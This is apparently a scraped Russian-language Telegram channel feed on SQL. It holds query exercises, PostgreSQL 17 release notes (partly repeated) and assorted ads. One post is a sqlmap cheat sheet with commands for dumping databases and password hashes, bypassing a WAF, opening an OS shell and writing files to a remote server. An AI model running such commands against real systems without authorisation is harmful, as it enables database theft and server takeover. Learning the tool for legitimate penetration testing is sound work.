Data Science. SQL hub

🖥 Довольно сложная задача по SQL: Анализ продаж с использованием оконных функций и вложенных подзапросов 🌟 Допустим, у вас есть следующие таблицы с данными о продажах и товарах:

CREATE TABLE sales (
  sale_id INT PRIMARY KEY,
  product_id INT,
  sale_date DATE,
  sale_amount INT
);

CREATE TABLE products (
  product_id INT PRIMARY KEY,
  category VARCHAR(50),
  price DECIMAL(10, 2)
);

🌟 Таблица sales содержит информацию о продажах: ID продажи (sale_id), ID продукта (product_id), дата продажи (sale_date) и количество проданных единиц (sale_amount) 🌟 Таблица products хранит данные о продуктах: ID продукта (product_id), категория продукта (category) и цена (price) ❓ Нужно создать запрос, который выполнит следующие действия: 🌟 Найти самую популярную категорию товаров по количеству продаж в каждом месяце. 🌟 Вывести результаты по месяцам, начиная с самого первого месяца продаж. 🌟 В каждой строке указать: - Месяц (sale_month) - Название категории (category) - Общее количество проданных товаров в этой категории за месяц (total_sales) - Разницу (difference) между текущими продажами категории и продажами этой же категории в предыдущем месяце. Если предыдущего месяца нет, вывести NULL ❗️ Решение:

WITH MonthlySales AS (
  SELECT 
    DATE_FORMAT(sale_date, '%Y-%m') AS sale_month,
    p.category,
    SUM(sale_amount) AS total_sales
  FROM sales s
  JOIN products p ON s.product_id = p.product_id
  GROUP BY DATE_FORMAT(sale_date, '%Y-%m'), p.category
),
RankedCategories AS (
  SELECT 
    sale_month,
    category,
    total_sales,
    ROW_NUMBER() OVER (PARTITION BY sale_month ORDER BY total_sales DESC) AS sales_rank
  FROM MonthlySales
),
PopularCategories AS (
  SELECT 
    sale_month,
    category,
    total_sales
  FROM RankedCategories
  WHERE sales_rank = 1
),
CategoryWithDifference AS (
  SELECT 
    sale_month,
    category,
    total_sales,
    LAG(total_sales, 1) OVER (PARTITION BY category ORDER BY sale_month) AS previous_sales
  FROM PopularCategories
)
SELECT 
  sale_month,
  category,
  total_sales,
  total_sales - previous_sales AS difference
FROM CategoryWithDifference
ORDER BY sale_month;

💡 Как это работает: 🌟 MonthlySales: Подзапрос агрегирует данные продаж по месяцам и категориям товаров, чтобы получить общее количество продаж (total_sales) в каждом месяце. 🌟 RankedCategories: Присваивает каждой категории её ранг (ROW_NUMBER()) в зависимости от количества продаж в месяц. 🌟 PopularCategories: Фильтрует только самую популярную категорию (с sales_rank = 1) для каждого месяца. 🌟 CategoryWithDifference: Использует оконную функцию LAG() для расчета разницы между продажами в текущем месяце и предыдущем @sqlhub

Научитесь эффективно использовать нейросети в своей работе. Приглашаем на бесплатный мини-курс Skillbox «Data Science с нуля: пробуем профессии на практике за 5 дней». Окунитесь в сферу IT и решите, какая специальность вам ближе. 🎁 Регистрация по ссылке: https://epic.st/eEwmp?erid=2VtzqvZPs5z Чем займётесь на мини-курсе? Узнаете, где востребована наука о данных, и разберётесь в различиях её основных направлений. Освоите азы главного языка Data Science — Python, а также визуализируете с помощью него данные. Изучите базовые конструкции языка SQL и наконец поймёте, как же работают нейросети. В знакомстве с профессиями вас будет сопровождать Анастасия Борнева — руководитель направления по исследованию данных в «Сбере». В финале мини-курса в прямом эфире она разберёт практические задания и ответит на все вопросы. 🎉 Все участники получат крутые бонусы и подарки! Реклама. ЧОУ ДПО «Образовательные технологии «Скилбокс (Коробка навыков)», ИНН: 9704088880

🖥 sqlpd.com — онлайн игра, в которой нужно раскрывать преступления, используя язык SQL 🔗 Ссылка: *клик* @sqlhub

🖥 Полный курс по работе с SQL за 3 часа! 🔥 У этого видео 8 млн просмотров на YouTube, что безусловно говорит о его качестве! 🕞 Продолжительность: 3:16:13 🔗 Ссылка: *клик* #курс #sql #datascience @sqlhub

📊 OpenBB — это платформа для инвестиционных исследований, предоставляющая доступ к акциям, опционам, криптовалютам, форексу и макроэкономическим данным. Платформа ориентирована на пользователей всех уровней и включает в себя как командную строку, так и графический интерфейс. 🌟 OpenBB предлагает бесплатный и открытый доступ к аналитическим инструментам и может быть расширен через различные плагины. Проект также поддерживает автоматизацию процессов и интеграцию с внешними сервисами 🔥 Инструмент является бесплатным аналогом Bloomberg terminal (подписка на который стоит $20 тыс. в год!) 👩‍💻 Язык: Python 🔐 Лицензия: GNU ▪ Github @sqlhub

🖥 Функция STUFF() в SQL ❓ Пример:

SELECT STUFF('Hello World', 7, 5, 'SQL') AS Result;

🌟 Результат: Hello SQL 🔍 Объяснение: 🌟 Начальная позиция: 7 — замена начинается с 7-го символа (буква W). 🌟 Длина: 5 — удаляем 5 символов (World). 🌟 Замещающая строка: 'SQL' — вставляем вместо удалённой подстроки 💡 Другой пример: иногда STUFF() используется совместно с другими функциями для создания строк с разделителями. Например, объединим значения из нескольких строк в одну строку через запятую:

SELECT
  DepartmentID,
  STUFF(
    (SELECT ',' + EmployeeName
     FROM Employees
     WHERE DepartmentID = E.DepartmentID
     FOR XML PATH('')), 
     1, 1, '') AS EmployeesList
FROM Employees E
GROUP BY DepartmentID;

🌟 В данном примере STUFF() удаляет первый символ запятой и создает аккуратный список сотрудников для каждого отдела @sqlhub

Вебинар «Возьмите кластеры под контроль» 15 октября в 16:00 на вебинаре команда Tarantool расскажет, как построить высокопроизводительное кластерное хранилище с простым управлением и гарантиями отказоустойчивости. Покажем демо: развернем кластер и продемонстрируем работу с ним из JAVA-приложения с использованием spring data 3.x. В программе: -В каких системах вам не обойтись без in-memory хранилища. -Как легко развернуть «горячее» кластерное in-memory хранилище под ваши задачи и централизованно управлять им через интуитивно понятный графический интерфейс и CLI. -Как построить геораспределенный кластер, не падающий даже при неустойчивом канале связи или аварии в ЦОДе. Вебинар будет полезен системным и корпоративным архитекторам, инженерам DevOps и разработчикам высоконагруженных систем. Регистрация

🖥 Как эффективно использовать SQL для Data Science? 💡 SQL — это не только инструмент для создания и управления базами данных. Его мощь часто недооценивается в контексте Data Science. Давайте рассмотрим, как SQL может помочь на каждом этапе работы с данными и почему стоит изучить его глубже. 🔍 1. Предварительная обработка данных (Data Preprocessing) Обычно данные находятся в сыром виде и требуют значительной очистки и приведения в нужный формат. SQL позволяет быстро выполнять объединения, группировки, фильтрацию и агрегацию данных без необходимости выгружать большие наборы данных в Python или R. Пример:

-- Выбираем транзакции с суммой выше среднего и сгруппированные по пользователям
SELECT user_id, AVG(transaction_amount) AS avg_amount
FROM transactions
GROUP BY user_id
HAVING AVG(transaction_amount) > (
    SELECT AVG(transaction_amount) FROM transactions
);

Это простой запрос, но он помогает сразу увидеть клиентов, у которых уровень трат выше среднего. 🖥 2. Feature Engineering с SQL Формирование признаков — ключевой этап для создания моделей. Используя SQL, можно легко создавать категориальные признаки, вычислять периоды между событиями и генерировать агрегированные значения. Например, создание признака активности пользователя:

-- Количество покупок за последние 30 дней
SELECT user_id, COUNT(*) AS purchases_last_30_days
FROM purchases
WHERE purchase_date >= DATE_SUB(CURDATE(), INTERVAL 30 DAY)
GROUP BY user_id;

Такой запрос может быть полезен для прогнозирования оттока клиентов. 📈 3. Анализ временных рядов Работа с временными рядами — это отдельная задача. SQL поддерживает такие функции, как скользящие средние и кумулятивные суммы.

-- Построение 7-дневного скользящего среднего по продажам
SELECT
    sales_date,
    sales_amount,
    AVG(sales_amount) OVER (ORDER BY sales_date ROWS BETWEEN 6 PRECEDING AND CURRENT ROW) AS moving_avg_7_days
FROM sales_data;

Используя такие функции, можно получать первичный анализ временных рядов прямо из базы данных, без перехода к pandas или другим библиотекам. 📊 4. Построение аналитических отчетов SQL — отличный инструмент для создания дашбордов и отчетов. Используя CTE (Common Table Expressions), подзапросы и оконные функции, можно строить сложные отчеты, которые сразу дадут глубокое понимание данных.

WITH monthly_sales AS (
    SELECT
        EXTRACT(MONTH FROM sales_date) AS month,
        SUM(sales_amount) AS total_sales
    FROM sales_data
    GROUP BY EXTRACT(MONTH FROM sales_date)
)
SELECT
    month,
    total_sales,
    LAG(total_sales) OVER (ORDER BY month) AS previous_month_sales,
    total_sales - LAG(total_sales) OVER (ORDER BY month) AS growth
FROM monthly_sales;

Этот запрос позволит сразу увидеть динамику продаж по месяцам и рост относительно предыдущего периода @sqlhub

Всего одни выходные — и вот вы уже создаете пайплайны обработки данных в команде Авито. Получите ускоренный оффер в компанию на Data Weekend Offer! Вас ждет: — конкурентная зарплата, удаленка и дополнительные дни отпуска; — возможность прокачать свой стек – настраивать инструменты обработки данных, автоматизировать механизмы, тестить гипотезы и улучшать пользовательский опыт; — участие в разработке новых продуктов крупнейшего в мире сервиса объявлений; — сильное IT-комьюнити, которое любит опенсорс. Ищем специалистов с опытом. Выбирайте стрим — Python/SQL или Spark/Java/Scala — и регистрируйтесь до 1 октября: https://u.to/nfbkIA

🔐 Шпаргалка по использованию sqlmap SQLMAP — это инструмент для проникновения с открытым исходным кодом. SQLMAP позволяет автоматизировать процесс выявления и последующего использования уязвимостей SQL-инъекций и последующего получения контроля над серверами баз данных . Кроме того, SQLMAP поставляется с механизмом обнаружения, который включает расширенные функции для поддержки тестирования на проникновение. 🌟 Базовый скан URL на наличие уязвимостей:

sqlmap -u "http://example.com/page.php?id=1"

🌟 Автоматический дамп всех баз данных:

sqlmap -u "http://example.com/page.php?id=1" --dbs

🌟 Извлечение таблиц из конкретной базы данных:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных --tables

🌟 Извлечение данных из конкретной таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --dump

🌟 Обход WAF (брандмауэра) с помощью указания пользовательского заголовка User-Agent:

sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"

🌟 Подбор базы данных и получение информации о пользователях:

sqlmap -u "http://example.com/page.php?id=1" --current-db --current-user

🌟 Включение интерактивной оболочки (OS Shell) для удаленного выполнения команд:

sqlmap -u "http://example.com/page.php?id=1" --os-shell

🌟 Выполнение SQL-запросов вручную:

sqlmap -u "http://example.com/page.php?id=1" --sql-query "SELECT user, password FROM users"

🌟 Проверка на возможность подключения с правами администратора:

sqlmap -u "http://example.com/page.php?id=1" --is-dba

🌟 Брутфорсирование паролей пользователей:

sqlmap -u "http://example.com/page.php?id=1" --passwords

🌟 Загрузка файла на удаленный сервер:

sqlmap -u "http://example.com/page.php?id=1" --file-write="/path/to/local/file" --file-dest="/path/to/remote/file"

🌟 Получение списка столбцов из таблицы:

sqlmap -u "http://example.com/page.php?id=1" -D имя_базы_данных -T имя_таблицы --columns

🌟 Использование прокси-сервера:

sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

🌟 Определение используемой базы данных и версии:

sqlmap -u "http://example.com/page.php?id=1" --banner

🌟 Атака на POST-запросы (если параметры передаются в теле):

sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin"

@sqlhub

🖥 Релиз СУБД PostgreSQL 17 После года разработки опубликована новая стабильная ветка СУБД PostgreSQL 17. Обновления для новой ветки будут выходить в течение пяти лет до ноября 2029 года. Поддержка PostgreSQL 12.x, самой старой из поддерживаемых веток, будет прекращена 14 ноября. 📌 Основные новшества: - При выполнении операции VACUUM (сборка мусора, чистка и упаковка дискового хранилища) задействована новая структура данных, потребляющая до 20 раз меньше памяти. Переход на новую структуру позволил ускорить выполнение операций VACUUM и сократить потребление совместно используемых ресурсов. - Продолжена оптимизация производительности ввода/вывода. Благодаря улучшению кода для обработки лога отложенной записи WAL удалось до двух раз повысить пропускную способность операций записи в системах с большим числом одновременно выполняемых запросов. - Предложен новый интерфейс потокового ввода/вывода, позволивший повысить скорость последовательного перебора данных в таблицах и ускорить обновление статистики для планировщика запросов после выполнения операции ANALYZE. - Повышена производительность запросов с выражением "IN", если в них используются индексы на базе структуры B-tree. Реализована возможность параллельного построения индексов BRIN (Block Range Index). В планировщике запросов оптимизированы проверки "NOT NULL" и ускорена обработка обобщённых табличных выражений (Common Table Expression, CTE) определяемых при помощи SQL-команды "WITH". Обеспечено использование векторных процессорных инструкций (SIMD) для ускорения некоторых вычислений, например, для ускорения функции bit_count задействованы инструкции AVX-512. - Реализована поддержка новых возможностей для работы с форматом JSON, определённых в стандарте SQL/JSON. Добавлена функция JSON-TABLE для преобразования данных из формата JSON в обычные таблицы PostgreSQL, а также новые операторы jsonpath для преобразования данных JSON в родные для PostgreSQL типы данных. Предложены новые функции для создания (JSON, JSON_SCALAR и JSON_SERIALIZE) и запроса (JSON_EXISTS, JSON_QUERY и JSON_VALUE) данных в формате JSON. - Расширены возможности SQL-команды "MERGE", позволяющей создавать условные SQL-выражения, объединяющие в одном выражении операции INSERT, UPDATE и DELETE. Добавлена поддержка выражения RETURNING, позволяющего вычислять и возвращать значения на основе добавленных, обновлённых или удалённых строк. Реализована поддержка обновления представлений. @sqlhub

Всего одни выходные — и вот вы уже создаете пайплайны обработки данных в команде Авито. Получите ускоренный оффер в компанию на Data Weekend Offer! Вас ждет: — конкурентная зарплата, удаленка и дополнительные дни отпуска; — возможность прокачать свой стек – настраивать инструменты обработки данных, автоматизировать механизмы, тестить гипотезы и улучшать пользовательский опыт; — участие в разработке новых продуктов крупнейшего в мире сервиса объявлений; — сильное IT-комьюнити, которое любит опенсорс. Ищем специалистов с опытом. Выбирайте стрим — Python/SQL или Spark/Java/Scala — и регистрируйтесь до 1 октября: 2VtzqwFbSZ7

- Реализована предопределённая роль pg_maintain, предоставляющая пользователю право выполнения операций, связанных с обслуживанием СУБД. - В утилиту pg_basebackup, применяемую для создания резервных копий БД, добавлена поддержка инкрементальных бэкапов. Для реконструирования полного бэкапа из набора инкрементальных копий предложена новая утилита pg_combinebacku. В утилиту pg_dump добавлена опция "--filter" для выбора включаемых в дамп объектов. - При анализе запросов при помощи SQL-команды "EXPLAIN" реализован вывод времени, потраченного на чтение и запись локальных блоков при вводе/выводе. В команду "EXPLAIN" также добавлены две новые опции "MEMORY" и "SERIALIZE", при помощи которых можно определить размер использованной памяти и время, потраченное на преобразование данных для передачи по сети. - Обеспечена индикация прогресса выполнения операции VACUUM с индексами. - Добавлено системное представление pg_wait_events, которое в сочетании с представлением pg_stat_activity позволяет подробнее изучить причины нахождения активных сеансов в состоянии ожидания. @sqlhub

- При выполнении операции VACUUM (сборка мусора, чистка и упаковка дискового хранилища) задействована новая структура данных, потребляющая до 20 раз меньше памяти. Переход на новую структуру позволил ускорить выполнение операций VACUUM и сократить потребление совместно используемых ресурсов. - Продолжена оптимизация производительности ввода/вывода. Благодаря улучшению кода для обработки лога отложенной записи WAL удалось до двух раз повысить пропускную способность операций записи в системах с большим числом одновременно выполняемых запросов. Предложен новый интерфейс потокового ввода/вывода, позволивший повысить скорость последовательного перебора данных в таблицах и ускорить обновление статистики для планировщика запросов после выполнения операции ANALYZE. - Повышена производительность запросов с выражением "IN", если в них используются индексы на базе структуры B-tree. Реализована возможность параллельного построения индексов BRIN (Block Range Index). В планировщике запросов оптимизированы проверки "NOT NULL" и ускорена обработка обобщённых табличных выражений (Common Table Expression, CTE) определяемых при помощи SQL-команды "WITH". Обеспечено использование векторных процессорных инструкций (SIMD) для ускорения некоторых вычислений, например, для ускорения функции bit_count задействованы инструкции AVX-512. - Реализована поддержка новых возможностей для работы с форматом JSON, определённых в стандарте SQL/JSON. Добавлена функция JSON-TABLE для преобразования данных из формата JSON в обычные таблицы PostgreSQL, а также новые операторы jsonpath для преобразования данных JSON в родные для PostgreSQL типы данных. Предложены новые функции для создания (JSON, JSON_SCALAR и JSON_SERIALIZE) и запроса (JSON_EXISTS, JSON_QUERY и JSON_VALUE) данных в формате JSON. - Расширены возможности SQL-команды "MERGE", позволяющей создавать условные SQL-выражения, объединяющие в одном выражении операции INSERT, UPDATE и DELETE. Добавлена поддержка выражения RETURNING, позволяющего вычислять и возвращать значения на основе добавленных, обновлённых или удалённых строк. Реализована поддержка обновления представлений. - Расширены возможности загрузки и экспорта данных в пакетном режиме. В команде COPY до двух раз увеличена скорость экспорта больших строк, оптимизировано копирование при совпадении исходной и целевых кодировок, добавлена опция ON_ERROR, позволяющая продолжить импорт после ошибок при вставке данных. - Для секционированных таблиц добавлена возможность использования столбцов с уникальными идентификаторами и поддержка техники оптимизации запросов "Constraint exclusion". - В механизме подключения внешних таблиц Foreign Data Wrapper (postgres_fdw) реализована возможность передачи на внешний сервер подзапросов "EXISTS" и "IN". - Реализован встроенный платформонезависимый движок для обработки свойств локали "Collation", используемых для задания правил сортировки и методов сопоставления с учётом смысла символов (например, при сортировке цифровых значений учитывается наличие минуса и точки перед числом и разные виды написания, а при сравнении не принимается во внимание регистр символов и наличие знака ударения). Новый движок гарантирует единое поведение при сортировке результатов запросов, не зависящее от того, на какой платформе запускается PostgreSQL. - В механизме логической репликации, позволяющем транслировать на другой сервер изменения, вносимые в БД в ходе добавления, удаления или обновления записей, упрощён процесс обновления СУБД. Если раньше при переходе на новый значительный выпуск приходилось удалять слоты логической репликации и повторно синхронизировать данные, то теперь можно обойтись без удаления слотов. Для отказоустойчивых конфигураций реализована возможность управления переключением на запасной сервер (failover) для логической репликации. Добавлена новая утилита pg_createsubscriber для преобразования физической реплики в новую логическую реплику. - Добавлена новая опция "sslnegotiation" для прямого согласования ащищённых TLS-соединений с использованием TLS-расширения ALPN.

🖥 Релиз СУБД PostgreSQL 17 После года разработки опубликована новая стабильная ветка СУБД PostgreSQL 17. Обновления для новой ветки будут выходить в течение пяти лет до ноября 2029 года. Поддержка PostgreSQL 12.x, самой старой из поддерживаемых веток, будет прекращена 14 ноября. 📌 Основные новшества:

🖥 SQL tips and tricks Круташий набор лайфхаков и советов по улучшению SQL запросов. В нём представлены методы повышения читаемости кода и предотвращения распространённых ошибок и рекомендации по оптимизации. ▪ Github @sqlhub

❓️ Ваших знаний в области управления базами данных не хватает для успешного выполнения рабочих задач и карьерного роста? 🚀  Всего за 4 месяца вы научитесь настраивать кластер PostgreSQL на оптимальную производительность, организовывать систему резервного копирования и оперативно решать проблемы сбоев, блокировок и deadlock. Вы сможете использовать индексы, джойны и статистику для оптимизации производительности, а также решать проблемы работы с большими объемами данных. Ваши знания и навыки позволят проектировать БД так, чтобы впоследствии не приходилось тушить пожары из-за не оптимально заложенных основ. 🚀💻🔥 Присоединяйтесь к курсу «PostgreSQL для администраторов баз данных и разработчиков». Решайтесь сейчас — до 30 сентября действует скидка 🤑🤑! Забронировать место в группе по скидке: https://otus.pw/AUDB/?erid=LjN8KBPcJ #реклама О рекламодателе

🖥 Учебный курс «DBA2. Администрирование PostgreSQL 13. Настройка и мониторинг» DBA2-13. 00. Введение DBA2-13. 01. Изоляция DBA2-13. 02. Страницы и версии строк DBA2-13. 03. Снимки данных DBA2-13. 04. HOT-обновления DBA2-13. 05. Очистка DBA2-13. 06. Автоочистка DBA2-13. 07. Заморозка DBA2-13. 08. Буферный кеш DBA2-13. 09. Журнал предзаписи DBA2-13. 10. Контрольная точка DBA2-13. 11. Настройка журнала DBA2-13. 12. Блокировки объектов DBA2-13. 13. Блокировки строк DBA2-13. 14. Блокировки в оперативной памяти DBA2-13. 15. Управление расширениями DBA2-13. 16. Локализация DBA2-13. 17. Обновление сервера ▪Источник @sqlhub

Yandex Cloud открыла доступ к Yandex Cloud AI Studio – единой платформе для создания приложений на базе ИИ Платформа объединяет все доступные ML-решения компании, включая генеративные нейросети: YandexGPT и YandexART. Единый интерфейс позволяет упростить разработку и ускорить запуск многофункциональных ИИ-приложений. Чтобы писать меньше кода для интеграции нейросетей, разработчики могут воспользоваться SDK-библиотекой с готовыми примерами кода. Также пользователи смогут тестировать ML-решения в AI Playground: в нем можно вести одновременно несколько диалогов, в каждом из которых сохраняется история обращений. Читайте подробнее в статье.

🖥 Phidias Генеративная модель для создания 3D-контента из текста, изображения и 3D-условий с помощью диффузии с добавлением ссылок https://huggingface.co/papers/2409.11406 @sqlhub